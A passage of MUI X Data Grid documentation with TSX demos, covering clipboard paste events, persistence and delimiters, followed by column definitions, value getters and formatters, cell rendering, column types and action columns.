    visibleFields,
  });

  const [rows] = React.useState(() => {
    try {
      const lsData = sessionStorage.getItem('clipboardImportRows');
      if (lsData) {
        const parsedData = JSON.parse(lsData);
        if (Array.isArray(parsedData)) {
          return parsedData;
        }
      }
    } catch (error) {
      // session storage is not available
    }
    return initialRows;
  });

  const rowsRef = React.useRef([...rows]);

  const updateRow = React.useCallback((newRow: GridValidRowModel) => {
    const index = rowsRef.current.findIndex((row) => row.id === newRow.id);
    rowsRef.current[index] = newRow;
    sessionStorage.setItem('clipboardImportRows', JSON.stringify(rowsRef.current));
  }, []);

  return {
    data: { ...data, rows },
    updateRow,
  };
};

export default function ClipboardPastePersistence() {
  const { data, updateRow } = useSessionStorageData();

  const processRowUpdate: NonNullable<DataGridPremiumProps['processRowUpdate']> = (
    newRow,
  ) => {
    updateRow(newRow);
    return newRow;
  };

  return (
    <div style={{ width: '100%' }}>
      <div style={{ marginBottom: 8 }}>
        <Button onClick={() => sessionStorage.removeItem('clipboardImportRows')}>
          Clear session storage
        </Button>
      </div>
      <div style={{ height: 400 }}>
        <DataGridPremium
          {...data}
          disableRowSelectionOnClick
          checkboxSelection
          cellSelection
          processRowUpdate={processRowUpdate}
          ignoreValueFormatterDuringExport
        />
      </div>
    </div>
  );
}

```

### Events

The following events are fired during the clipboard paste operation:

- `clipboardPasteStart` - fired when the clipboard paste operation starts
- `clipboardPasteEnd` - fired when all row updates from clipboard paste have been processed

For convenience, you can also listen to these events using their respective props:

- `onClipboardPasteStart`
- `onClipboardPasteEnd`

Additionally, there is the `onBeforeClipboardPasteStart` prop, which is called before the clipboard paste operation starts
and can be used to cancel or confirm the paste operation:

```tsx
const onBeforeClipboardPasteStart = async () => {
  const confirmed = window.confirm('Are you sure you want to paste?');
  if (!confirmed) {
    throw new Error('Paste operation cancelled');
  }
};

<DataGridPremium onBeforeClipboardPasteStart={onBeforeClipboardPasteStart} />;
```

The demo below uses the [`Dialog`](/material-ui/react-dialog/) component for paste confirmation.
If confirmed, the Data Grid displays a loading indicator during the paste operation.

```tsx
import * as React from 'react';
import { DataGridPremium, DataGridPremiumProps } from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';
import Dialog from '@mui/material/Dialog';
import DialogActions from '@mui/material/DialogActions';
import DialogContent from '@mui/material/DialogContent';
import DialogContentText from '@mui/material/DialogContentText';
import DialogTitle from '@mui/material/DialogTitle';
import Button from '@mui/material/Button';

export default function ClipboardPasteEvents() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 6,
    editable: true,
  });
  const [loading, setLoading] = React.useState(false);

  const processRowUpdate = React.useCallback<
    NonNullable<DataGridPremiumProps['processRowUpdate']>
  >(async (newRow) => {
    await new Promise((resolve) => {
      setTimeout(resolve, 1000);
    });
    return newRow;
  }, []);

  const initialState = {
    ...data.initialState,
    columns: {
      columnVisibilityModel: {
        id: false,
        desk: false,
      },
    },
  };

  const confirm = useConfirm();
  const confirmPaste = React.useCallback<() => Promise<void>>(() => {
    return new Promise((resolve, reject) => {
      confirm.open((confirmed) => {
        if (confirmed) {
          resolve();
        } else {
          reject();
        }
      });
    });
  }, [confirm]);

  return (
    <div style={{ width: '100%', height: 400 }}>
      <DataGridPremium
        {...data}
        loading={loading}
        initialState={initialState}
        cellSelection
        processRowUpdate={processRowUpdate}
        onBeforeClipboardPasteStart={confirmPaste}
        onClipboardPasteStart={() => setLoading(true)}
        onClipboardPasteEnd={() => setLoading(false)}
        ignoreValueFormatterDuringExport
        disableRowSelectionOnClick
      />

      <Dialog
        open={confirm.isOpen}
        onClose={confirm.cancel}
        aria-labelledby="alert-dialog-title"
        aria-describedby="alert-dialog-description"
      >
        <DialogTitle id="alert-dialog-title">
          {'Are you sure you want to paste?'}
        </DialogTitle>
        <DialogContent>
          <DialogContentText id="alert-dialog-description">
            This will overwrite the selected cells.
          </DialogContentText>
        </DialogContent>
        <DialogActions>
          <Button onClick={confirm.cancel}>Cancel</Button>
          <Button onClick={confirm.confirm} autoFocus>
            Confirm
          </Button>
        </DialogActions>
      </Dialog>
    </div>
  );
}

const useConfirm = () => {
  const [isOpen, setIsOpen] = React.useState(false);
  const callbackRef = React.useRef<((confirmed: boolean) => void) | null>(null);

  const open = React.useCallback((callback: (confirmed: boolean) => void) => {
    setIsOpen(true);
    callbackRef.current = callback;
  }, []);

  const cancel = React.useCallback(() => {
    setIsOpen(false);
    callbackRef.current?.(false);
    callbackRef.current = null;
  }, []);

  const confirm = React.useCallback(() => {
    setIsOpen(false);
    callbackRef.current?.(true);
    callbackRef.current = null;
  }, []);

  return {
    open,
    isOpen,
    cancel,
    confirm,
  };
};

```

## Format of the clipboard data

By default, the clipboard copy and paste operations use the following format:

- The cell values are separated by a tab (`\t`) character.
- The rows are separated by a new line (`\n`) character.

You can use `clipboardCopyCellDelimiter` and `splitClipboardPastedText` props to change the format:

```tsx
<DataGridPremium
  {...otherProps}
  // support comma separated values
  clipboardCopyCellDelimiter={','}
  splitClipboardPastedText={(text) => text.split('\n').map((row) => row.split(','))}
/>
```

The demo below uses `,` (comma) character as a cell delimiter for both copy and paste operations:

```tsx
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ClipboardPasteDelimiter() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 20,
    maxColumns: 20,
    editable: true,
  });

  const initialState = {
    ...data.initialState,
    columns: {
      columnVisibilityModel: {
        id: false,
        desk: false,
      },
    },
  };

  return (
    <div style={{ height: 500, width: '100%' }}>
      <DataGridPremium
        {...data}
        initialState={initialState}
        disableRowSelectionOnClick
        ignoreValueFormatterDuringExport
        cellSelection
        clipboardCopyCellDelimiter={','}
        splitClipboardPastedText={(text) =>
          text.split('\n').map((row) => row.split(','))
        }
      />
    </div>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/column-definition.md

# Data Grid - Column definition

Define your columns.

The columns are defined with the `columns` prop which has the type `GridColDef[]`.

`field` is the only required property since it's the column identifier. It's also used to match with `GridRowModel` values.

```ts
interface GridColDef {
  /**
   * The column identifier. It's used to match with [[GridRowModel]] values.
   */
  field: string;
  …
}
```

```tsx
import Box from '@mui/material/Box';
import { DataGrid } from '@mui/x-data-grid';

export default function BasicColumnsGrid() {
  return (
    <Box sx={{ height: 250, width: '100%' }}>
      <DataGrid
        columns={[{ field: 'username' }, { field: 'age' }]}
        rows={[
          {
            id: 1,
            username: '@MUI',
            age: 20,
          },
        ]}
      />
    </Box>
  );
}

```

:::warning
The `columns` prop should keep the same reference between two renders.
The columns are designed to be definitions, to never change once the component is mounted.
Otherwise, you take the risk of losing elements like column width or order.
You can create the array outside the render function or memoize it.
:::

## Providing content

By default, the Data Grid uses the field of a column to get its value.
For instance, the column with field `name` will render the value stored in `row.name`.
But for some columns, it can be useful to manually get and format the value to render.

### Value getter

:::warning
Note that the signature of `valueGetter` has changed in v7 – see the [migration guide](https://mui.com/x/migration/migration-data-grid-v6/) for details.

If you're using v6, please use the [v6 documentation](https://v6.mui.com/x/react-data-grid/column-definition/#value-getter).
:::

Sometimes a column might not have a desired value.
You can use the `valueGetter` attribute of `GridColDef` to:

1. Transform the value

   ```tsx
   const columns: GridColDef[] = [
     {
       field: 'taxRate',
       valueGetter: (value) => {
         if (!value) {
           return value;
         }
         // Convert the decimal value to a percentage
         return value * 100;
       },
     },
   ];
   ```

2. Render a combination of different fields

   ```tsx
   const columns: GridColDef[] = [
     {
       field: 'fullName',
       valueGetter: (value, row) => {
         return `${row.firstName || ''} ${row.lastName || ''}`;
       },
     },
   ];
   ```

3. Derive a value from a complex value

   ```tsx
   const columns: GridColDef[] = [
     {
       field: 'profit',
       valueGetter: (value, row) => {
         if (!row.gross || !row.costs) {
           return null;
         }
         return row.gross - row.costs;
       },
     },
   ];
   ```

The value returned by `valueGetter` is used for:

- Filtering
- Sorting
- Rendering (unless enhanced further by [`valueFormatter`](/x/react-data-grid/column-definition/#value-formatter) or [`renderCell`](/x/react-data-grid/column-definition/#rendering-cells))

```tsx
import Box from '@mui/material/Box';
import { DataGrid, GridColDef, GridValueGetter } from '@mui/x-data-grid';

const rows = [
  { id: 1, lastName: 'Snow', firstName: 'Jon' },
  { id: 2, lastName: 'Lannister', firstName: 'Cersei' },
  { id: 3, lastName: 'Lannister', firstName: 'Jaime' },
  { id: 4, lastName: 'Stark', firstName: 'Arya' },
  { id: 5, lastName: 'Targaryen', firstName: 'Daenerys' },
];

const getFullName: GridValueGetter<(typeof rows)[number], unknown> = (
  value,
  row,
) => {
  return `${row.firstName || ''} ${row.lastName || ''}`;
};

const columns: GridColDef[] = [
  { field: 'firstName', headerName: 'First name', width: 130 },
  { field: 'lastName', headerName: 'Last name', width: 130 },
  {
    field: 'fullName',
    headerName: 'Full name',
    width: 160,
    valueGetter: getFullName,
  },
];

export default function ValueGetterGrid() {
  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <DataGrid rows={rows} columns={columns} />
    </Box>
  );
}

```

:::warning
`valueGetter` can be called for autogenerated rows, which are created when features like [row grouping](/x/react-data-grid/row-grouping/) or [aggregation](/x/react-data-grid/aggregation/) are used.
Read more in the [handling autogenerated rows](/x/react-data-grid/column-definition/#autogenerated-rows) section.
:::

:::warning
[Row grouping](/x/react-data-grid/row-grouping/) uses the [`groupingValueGetter()`](/x/react-data-grid/row-grouping/#using-groupingvaluegetter-for-complex-grouping-value) instead of `valueGetter` to get the value for the grouping.
The value passed to the `groupingValueGetter()` is the raw row value (`row[field]`) even if the column definition has a `valueGetter` defined.
:::

### Value formatter

:::warning
Note that the signature of `valueFormatter` has changed in v7 – see the [migration guide](https://mui.com/x/migration/migration-data-grid-v6/) for details.

If you're using v6, please use the [v6 documentation](https://v6.mui.com/x/react-data-grid/column-definition/#value-formatter).
:::

The value formatter lets you convert the value before displaying it.
Common use cases include converting a JavaScript `Date` object to a date string or a `Number` into a formatted number (for example "1,000.50").

Note, that the value returned by `valueFormatter` is only used for rendering purposes.
Filtering and sorting are based on the raw value (`row[field]`) or the value returned by [`valueGetter`](/x/react-data-grid/column-definition/#value-getter).

In the following demo, `valueGetter` is used to convert the tax rate (for example `0.2`) to a decimal value (for example `20`),
and `valueFormatter` is used to display it as a percentage (for example `20%`).

```tsx
import { DataGrid } from '@mui/x-data-grid';

const rows = [
  {
    id: 1,
    taxRate: 0.1,
  },
  {
    id: 2,
    taxRate: 0.2,
  },
  {
    id: 3,
    taxRate: 0.3,
  },
];

export default function ValueFormatterGrid() {
  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={[
          {
            type: 'number',
            field: 'taxRate',
            headerName: 'Tax Rate',
            width: 150,
            valueGetter: (value) => {
              if (!value) {
                return value;
              }
              return value * 100;
            },
            valueFormatter: (value?: number) => {
              if (value == null) {
                return '';
              }
              return `${value.toLocaleString()} %`;
            },
          },
        ]}
      />
    </div>
  );
}

```

:::warning
`valueFormatter` can be called for autogenerated rows, which are created when features like [row grouping](/x/react-data-grid/row-grouping/) or [aggregation](/x/react-data-grid/aggregation/) are used.
Read more in the [handling autogenerated rows](/x/react-data-grid/column-definition/#autogenerated-rows) section.
:::

## Rendering cells

By default, the Data Grid renders the value as a string in the cell.
It resolves the rendered output in the following order:

1. `renderCell() => ReactElement`
2. `valueFormatter() => string`
3. `valueGetter() => string`
4. `row[field]`

The `renderCell` method of the column definitions is similar to `valueFormatter`.
However, it trades the ability to only render in a cell in exchange for letting you return a React node (instead of a string).

```tsx
const columns: GridColDef[] = [
  {
    field: 'date',
    headerName: 'Year',
    renderCell: (params: GridRenderCellParams<any, Date>) => (
      <strong>
        {params.value.getFullYear()}
        <Button
          variant="contained"
          size="small"
          style={{ marginLeft: 16 }}
          tabIndex={params.hasFocus ? 0 : -1}
        >
          Open
        </Button>
      </strong>
    ),
  },
];
```

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import { DataGrid, GridColDef, GridRenderCellParams } from '@mui/x-data-grid';
import { TouchRippleActions } from '@mui/material/ButtonBase/TouchRipple';

function RenderDate(props: GridRenderCellParams<any, Date>) {
  const { hasFocus, value } = props;
  const buttonElement = React.useRef<HTMLButtonElement>(null);
  const rippleRef = React.useRef<TouchRippleActions>(null);

  React.useLayoutEffect(() => {
    if (hasFocus) {
      const input = buttonElement.current!.querySelector('input');
      input?.focus();
    } else if (rippleRef.current) {
      // Only available in @mui/material v5.4.1 or later
      rippleRef.current.stop({} as any);
    }
  }, [hasFocus]);

  return (
    <strong>
      {value?.getFullYear() ?? ''}
      <Button
        ref={buttonElement}
        touchRippleRef={rippleRef}
        variant="contained"
        size="small"
        style={{ marginLeft: 16 }}
        // Remove button from tab sequence when cell does not have focus
        tabIndex={hasFocus ? 0 : -1}
        onKeyDown={(event: React.KeyboardEvent) => {
          if (event.key === ' ') {
            // Prevent key navigation when focus is on button
            event.stopPropagation();
          }
        }}
      >
        Open
      </Button>
    </strong>
  );
}

const columns: GridColDef[] = [
  {
    field: 'date',
    headerName: 'Year',
    width: 150,
    renderCell: RenderDate,
  },
];

const rows = [
  {
    id: 1,
    date: new Date(1979, 0, 1),
  },
  {
    id: 2,
    date: new Date(1984, 1, 1),
  },
  {
    id: 3,
    date: new Date(1992, 2, 1),
  },
];

export default function RenderCellGrid() {
  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid rows={rows} columns={columns} />
    </div>
  );
}

```

:::warning
When using `renderCell`, if the type of the value returned by `valueGetter` does not correspond to the column's `type`, you should:

- handle [sorting](/x/react-data-grid/sorting/#custom-comparator) by providing `sortComparator` to the column.
- set a `valueFormatter` providing a representation for the value to be used when [exporting](/x/react-data-grid/export/#exported-cells) the data.

:::

:::warning
`renderCell` can be called for autogenerated rows, which are created when features like [row grouping](/x/react-data-grid/row-grouping/) or [aggregation](/x/react-data-grid/aggregation/) are used.
Read more in the [handling autogenerated rows](/x/react-data-grid/column-definition/#autogenerated-rows) section.
:::

### Styling cells

You can check the [styling cells](/x/react-data-grid/style/#styling-cells) section for more information.

### Making accessible cells

Cell content should not be in the tab sequence except if cell is focused.
You can check the [tab sequence](/x/react-data-grid/accessibility/#tab-sequence) section for more information.

### Using hooks inside a renderer

The `renderCell` property is a function that returns a React node, not a React component.

If you want to use React hooks inside your renderer, you should wrap them inside a component.

```tsx
// ❌ Not valid
const column = {
  // ...other properties,
  renderCell: () => {
    const [count, setCount] = React.useState(0);

    return (
      <Button onClick={() => setCount((prev) => prev + 1)}>{count} click(s)</Button>
    );
  },
};

// ✅ Valid
const CountButton = () => {
  const [count, setCount] = React.useState(0);

  return (
    <Button onClick={() => setCount((prev) => prev + 1)}>{count} click(s)</Button>
  );
};

const column = {
  // ...other properties,
  renderCell: () => <CountButton />,
};
```

:::warning
Because of pagination and virtualization, cells can be unmounted when scrolling or switching pages.
The internal state of the component returned by renderCell will be lost.

If you want the cell information to persist, you should save it either in the Data Grid state or in the Data Grid parent.
:::

### Expand cell renderer

By default, the Data Grid cuts the content of a cell and renders an ellipsis if the content of the cell does not fit in the cell.
As a workaround, you can create a cell renderer that lets users see the full content of the cell in the Data Grid.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Paper from '@mui/material/Paper';
import Popper from '@mui/material/Popper';
import { DataGrid, GridColDef, GridRenderCellParams } from '@mui/x-data-grid';

interface GridCellExpandProps {
  value: string;
  width: number;
}

function isOverflown(element: Element): boolean {
  return (
    element.scrollHeight > element.clientHeight ||
    element.scrollWidth > element.clientWidth
  );
}

const GridCellExpand = React.memo(function GridCellExpand(
  props: GridCellExpandProps,
) {
  const { width, value } = props;
  const wrapper = React.useRef<HTMLDivElement | null>(null);
  const cellDiv = React.useRef(null);
  const cellValue = React.useRef(null);
  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);
  const [showFullCell, setShowFullCell] = React.useState(false);
  const [showPopper, setShowPopper] = React.useState(false);

  const handleMouseEnter = () => {
    const isCurrentlyOverflown = isOverflown(cellValue.current!);
    setShowPopper(isCurrentlyOverflown);
    setAnchorEl(cellDiv.current);
    setShowFullCell(true);
  };

  const handleMouseLeave = () => {
    setShowFullCell(false);
  };

  React.useEffect(() => {
    if (!showFullCell) {
      return undefined;
    }

    function handleKeyDown(nativeEvent: KeyboardEvent) {
      if (nativeEvent.key === 'Escape') {
        setShowFullCell(false);
      }
    }

    document.addEventListener('keydown', handleKeyDown);

    return () => {
      document.removeEventListener('keydown', handleKeyDown);
    };
  }, [setShowFullCell, showFullCell]);

  return (
    <Box
      ref={wrapper}
      onMouseEnter={handleMouseEnter}
      onMouseLeave={handleMouseLeave}
      sx={{
        alignItems: 'center',
        lineHeight: '24px',
        width: '100%',
        height: '100%',
        position: 'relative',
        display: 'flex',
      }}
    >
      <Box
        ref={cellDiv}
        sx={{
          height: '100%',
          width,
          display: 'block',
          position: 'absolute',
          top: 0,
        }}
      />
      <Box
        ref={cellValue}
        sx={{ whiteSpace: 'nowrap', overflow: 'hidden', textOverflow: 'ellipsis' }}
      >
        {value}
      </Box>
      {showPopper && (
        <Popper
          open={showFullCell && anchorEl !== null}
          anchorEl={anchorEl}
          style={{ width, marginLeft: -17 }}
        >
          <Paper
            elevation={1}
            style={{ minHeight: wrapper.current!.offsetHeight - 3 }}
          >
            <Typography variant="body2" style={{ padding: 8 }}>
              {value}
            </Typography>
          </Paper>
        </Popper>
      )}
    </Box>
  );
});

function renderCellExpand(params: GridRenderCellParams<any, string>) {
  return (
    <GridCellExpand value={params.value || ''} width={params.colDef.computedWidth} />
  );
}

const columns: GridColDef[] = [
  { field: 'col1', headerName: 'Column 1', width: 80, renderCell: renderCellExpand },
  {
    field: 'col2',
    headerName: 'Column 2',
    width: 100,
    renderCell: renderCellExpand,
  },
  {
    field: 'col3',
    headerName: 'Column 3',
    width: 150,
    renderCell: renderCellExpand,
  },
];
const rows: any = [
  {
    id: 1,
    col1: 'Hello',
    col2: 'World',
    col3: 'In publishing and graphic design, Lorem ipsum is a placeholder text commonly used.',
  },
  {
    id: 2,
    col1: 'DataGridPro',
    col2: 'is Awesome',
    col3: 'In publishing and graphic design, Lorem ipsum is a placeholder text or a typeface without relying on meaningful content. Lorem ipsum may be used as a placeholder before final copy is available.',
  },
  {
    id: 3,
    col1: 'MUI',
    col2: 'is Amazing',
    col3: 'Lorem ipsum is a placeholder text commonly used to demonstrate the visual form of a document or a typeface without relying on meaningful content. Lorem ipsum may be used as a placeholder before final copy is available.',
  },
  {
    id: 4,
    col1: 'Hello',
    col2: 'World',
    col3: 'In publishing and graphic design, Lorem ipsum is a placeholder text commonly used to demonstrate the visual form.',
  },
  {
    id: 5,
    col1: 'DataGridPro',
    col2: 'is Awesome',
    col3: 'Typeface without relying on meaningful content. Lorem ipsum may be used as a placeholder before final copy is available.',
  },
  {
    id: 6,
    col1: 'MUI',
    col2: 'is Amazing',
    col3: 'Lorem ipsum may be used as a placeholder before final copy is available.',
  },
];

export default function RenderExpandCellGrid() {
  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid rows={rows} columns={columns} />
    </div>
  );
}

```

:::warning
Because of pagination and virtualization, cells can be unmounted when scrolling or switching pages.
The internal state of the component returned by `renderCell` will be lost.

If you want to persist cell information, you should save it either in the Data Grid parent or in the row model.
Updating the row will rerender the row and so call renderCell with updated params.
:::

## Column types

To facilitate the configuration of the columns, some column types are predefined.
By default, columns are assumed to hold strings, so the default column string type will be applied. As a result, column sorting will use the string comparator, and the column content will be aligned to the left side of the cell. Some column types require that their value have a specific type.

The following are the native column types with their required value types:

| Column type          | Value type                 |
| :------------------- | :------------------------- |
| `'string'` (default) | `string`                   |
| `'longText'`         | `string`                   |
| `'number'`           | `number`                   |
| `'date'`             | `Date() object`            |
| `'dateTime'`         | `Date() object`            |
| `'boolean'`          | `boolean`                  |
| `'singleSelect'`     | A value in `.valueOptions` |
| `'actions'`          | Not applicable             |

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridActionsCellItem,
  GridRowId,
  GridColDef,
  GridActionsCell,
  GridRenderCellParams,
} from '@mui/x-data-grid';
import DeleteIcon from '@mui/icons-material/Delete';
import SecurityIcon from '@mui/icons-material/Security';
import FileCopyIcon from '@mui/icons-material/FileCopy';
import { randomCreatedDate, randomUpdatedDate } from '@mui/x-data-grid-generator';

const initialRows = [
  {
    id: 1,
    name: 'Damien',
    age: 25,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
    isAdmin: true,
    country: 'Spain',
    discount: '',
    bio: 'Damien is a software engineer with 5 years of experience in web development. He specializes in React and Node.js.',
  },
  {
    id: 2,
    name: 'Nicolas',
    age: 36,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
    isAdmin: false,
    country: 'France',
    discount: '',
    bio: 'Nicolas is a product manager who loves building user-centric products. He has led multiple successful product launches.',
  },
  {
    id: 3,
    name: 'Kate',
    age: 19,
    dateCreated: randomCreatedDate(),
    lastLogin: randomUpdatedDate(),
    isAdmin: false,
    country: 'Brazil',
    discount: 'junior',
    bio: 'Kate is a junior developer passionate about learning new technologies. She is currently focused on frontend development.',
  },
];

type Row = (typeof initialRows)[number];

interface ActionHandlers {
  deleteUser: (id: GridRowId) => void;
  toggleAdmin: (id: GridRowId) => void;
  duplicateUser: (id: GridRowId) => void;
}

const ActionHandlersContext = React.createContext<ActionHandlers>({
  deleteUser: () => {},
  toggleAdmin: () => {},
  duplicateUser: () => {},
});

function ActionsCell(props: GridRenderCellParams) {
  const { deleteUser, toggleAdmin, duplicateUser } =
    React.useContext(ActionHandlersContext);

  return (
    <GridActionsCell {...props}>
      <GridActionsCellItem
        icon={<DeleteIcon />}
        label="Delete"
        onClick={() => deleteUser(props.id)}
      />
      <GridActionsCellItem
        icon={<SecurityIcon />}
        label="Toggle Admin"
        onClick={() => toggleAdmin(props.id)}
        showInMenu
      />
      <GridActionsCellItem
        icon={<FileCopyIcon />}
        label="Duplicate User"
        onClick={() => duplicateUser(props.id)}
        showInMenu
      />
    </GridActionsCell>
  );
}

const columns: GridColDef<Row>[] = [
  { field: 'name', type: 'string' },
  {
    field: 'bio',
    type: 'longText',
    width: 200,
  },
  { field: 'age', type: 'number' },
  { field: 'dateCreated', type: 'date', width: 130 },
  { field: 'lastLogin', type: 'dateTime', width: 180 },
  { field: 'isAdmin', type: 'boolean', width: 120 },
  {
    field: 'country',
    type: 'singleSelect',
    width: 120,
    valueOptions: [
      'Bulgaria',
      'Netherlands',
      'France',
      'United Kingdom',
      'Spain',
      'Brazil',
    ],
  },
  {
    field: 'discount',
    type: 'singleSelect',
    width: 120,
    editable: true,
    valueOptions: ({ row }) => {
      if (row === undefined) {
        return ['EU-resident', 'junior'];
      }
      const options: string[] = [];
      if (!['United Kingdom', 'Brazil'].includes(row.country)) {
        options.push('EU-resident');
      }
      if (row.age < 27) {
        options.push('junior');
      }
      return options;
    },
  },
  {
    field: 'actions',
    type: 'actions',
    width: 80,
    renderCell: (params) => <ActionsCell {...params} />,
  },
];

export default function ColumnTypesGrid() {
  const [rows, setRows] = React.useState<Row[]>(initialRows);

  const deleteUser = React.useCallback((id: GridRowId) => {
    setTimeout(() => {
      setRows((prevRows) => prevRows.filter((row) => row.id !== id));
    });
  }, []);

  const toggleAdmin = React.useCallback((id: GridRowId) => {
    setRows((prevRows) =>
      prevRows.map((row) =>
        row.id === id ? { ...row, isAdmin: !row.isAdmin } : row,
      ),
    );
  }, []);

  const duplicateUser = React.useCallback((id: GridRowId) => {
    setRows((prevRows) => {
      const rowToDuplicate = prevRows.find((row) => row.id === id)!;
      return [...prevRows, { ...rowToDuplicate, id: Date.now() }];
    });
  }, []);

  const actionHandlers = React.useMemo<ActionHandlers>(
    () => ({
      deleteUser,
      toggleAdmin,
      duplicateUser,
    }),
    [deleteUser, toggleAdmin, duplicateUser],
  );

  return (
    <div style={{ height: 300, width: '100%' }}>
      <ActionHandlersContext.Provider value={actionHandlers}>
        <DataGrid columns={columns} rows={rows} />
      </ActionHandlersContext.Provider>
    </div>
  );
}

```

### Long text keyboard interactions

The `'longText'` column type supports keyboard interactions to expand, collapse, and edit content when the cell is focused via click or keyboard navigation.

View mode (expand button focused):

- <kbd class="key">Space</kbd> – Toggle popup
- <kbd class="key">Escape</kbd> – Close popup

Edit mode (textarea focused):

- <kbd><kbd class="key">Shift</kbd>+<kbd class="key">Enter</kbd></kbd> – Insert newline
- <kbd class="key">Enter</kbd> – Commit changes
- <kbd class="key">Escape</kbd> – Cancel editing

### Converting types

Default methods, such as filtering and sorting, assume that the type of the values will match the type of the column specified in `type`.
For example, values of column with `type: 'dateTime'` are expecting to be stored as a `Date()` objects.
If for any reason, your data type is not the correct one, you can use `valueGetter` to parse the value to the correct type.

```tsx
{
  field: 'lastLogin',
  type: 'dateTime',
  valueGetter: (value) => value && new Date(value),
}
```

### Special properties

To use most of the column types, you only need to define the `type` property in your column definition.
However, some types require additional properties to be set to make them work correctly:

#### Single select

If the column type is `'singleSelect'`, you also need to set the `valueOptions` property in the respective column definition. These values are options used for filtering and editing.

```tsx
{
  field: 'country',
  type: 'singleSelect',
  valueOptions: ['United Kingdom', 'Spain', 'Brazil']
}
```

:::warning
When using objects values for `valueOptions` you need to provide the `value` and `label` attributes for each option.
However, you can customize which attribute is used as value and label by using `getOptionValue` and `getOptionLabel`, respectively.

```tsx
// Without getOptionValue and getOptionLabel
{
  valueOptions: [
    { value: 'BR', label: 'Brazil' },
    { value: 'FR', label: 'France' }
  ]
}

// With getOptionValue and getOptionLabel
{
  getOptionValue: (value: any) => value.code,
  getOptionLabel: (value: any) => value.name,
  valueOptions: [
    { code: 'BR', name: 'Brazil' },
    { code: 'FR', name: 'France' }
  ]
}
```

:::

#### Actions

If the column type is `'actions'`, you need to provide a `renderCell` function that renders a `GridActionsCell` component with `GridActionsCellItem` elements as children.
You can add the `showInMenu` prop on the `GridActionsCellItem` elements to signal the Data Grid to group these actions inside a row menu.

```tsx
{
  field: 'actions',
  type: 'actions',
  renderCell: (params) => (
    <GridActionsCell {...params}>
      <GridActionsCellItem icon={...} onClick={...} label="Delete" />
      <GridActionsCellItem icon={...} onClick={...} label="Print" showInMenu />
    </GridActionsCell>
  )
}
```

<!-- TODO(v9): remove the warning below -->

:::warning
This is the recommended way to define actions in the column definition starting from v8.19.0.
The `getActions` method that returned an array of actions is deprecated, and will be removed in a future version.
:::

By default, actions shown in the menu will close the menu on click.
But in some cases, you might want to keep the menu open after clicking an action.
You can achieve this by setting the `closeMenuOnClick` prop to `false`.

In the following example, the "Delete" action opens a confirmation dialog and therefore needs to keep the menu mounted:

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridActionsCellItem,
  GridRowId,
  GridColDef,
  GridActionsCell,
  GridRenderCellParams,
} from '@mui/x-data-grid';
import DeleteIcon from '@mui/icons-material/Delete';
import { randomUserName } from '@mui/x-data-grid-generator';
import Dialog from '@mui/material/Dialog';
import DialogTitle from '@mui/material/DialogTitle';
import DialogContent from '@mui/material/DialogContent';
import DialogContentText from '@mui/material/DialogContentText';
import DialogActions from '@mui/material/DialogActions';
import Button from '@mui/material/Button';

const initialRows = [
  { id: 1, name: randomUserName() },
  { id: 2, name: randomUserName() },
  { id: 3, name: randomUserName() },
];

type Row = (typeof initialRows)[number];

const ActionHandlersContext = React.createContext<
  ((id: GridRowId) => void) | undefined
>(undefined);

function ActionsCell(props: GridRenderCellParams) {
  const setActionRowId = React.useContext(ActionHandlersContext);

  if (!setActionRowId) {
    throw new Error('ActionHandlersContext is empty');
  }

  return (
    <GridActionsCell {...props}>
      <GridActionsCellItem
        label="Delete"
        showInMenu
        icon={<DeleteIcon />}
        onClick={() => setActionRowId(props.id)}
        closeMenuOnClick={false}
      />
    </GridActionsCell>
  );
}

const columns: GridColDef<Row>[] = [
  { field: 'name', type: 'string' },
  {
    field: 'actions',
    type: 'actions',
    width: 80,
    renderCell: (params) => <ActionsCell {...params} />,
  },
];

export default function ActionsWithModalGrid() {
  const [rows, setRows] = React.useState<Row[]>(initialRows);
  const [actionRowId, setActionRowId] = React.useState<GridRowId | null>(null);

  const deleteActiveRow = React.useCallback(
    (rowId: GridRowId) =>
      setRows((prevRows) => prevRows.filter((row) => row.id !== rowId)),
    [],
  );

  const handleCloseDialog = React.useCallback(() => {
    setActionRowId(null);
  }, []);

  const handleConfirmDelete = React.useCallback(() => {
    deleteActiveRow(actionRowId!);
    handleCloseDialog();
  }, [actionRowId, deleteActiveRow, handleCloseDialog]);

  return (
    <div style={{ height: 300, width: '100%' }}>
      <ActionHandlersContext.Provider value={setActionRowId}>
        <DataGrid columns={columns} rows={rows} />
      </ActionHandlersContext.Provider>
      <Dialog
        open={actionRowId !== null}
        onClose={handleCloseDialog}
        aria-labelledby="alert-dialog-title"
        aria-describedby="alert-dialog-description"
      >
        <DialogTitle id="alert-dialog-title">Delete this user?</DialogTitle>
        <DialogContent>
          <DialogContentText id="alert-dialog-description">
            This action cannot be undone.
          </DialogContentText>
        </DialogContent>
        <DialogActions>
          <Button onClick={handleCloseDialog}>Cancel</Button>
          <Button onClick={handleConfirmDelete} color="warning" autoFocus>
            Delete
          </Button>
        </DialogActions>
      </Dialog>
    </div>
  );
}

```

:::success
In the example above, the React Context API is used to pass the action handlers to the `ActionsCell` component.
This is a recommended pattern to keep the column definitions stable.
:::

### Custom column types

Please refer to the [custom columns](/x/react-data-grid/custom-columns/) page for documentation and integration examples.

## Autogenerated rows

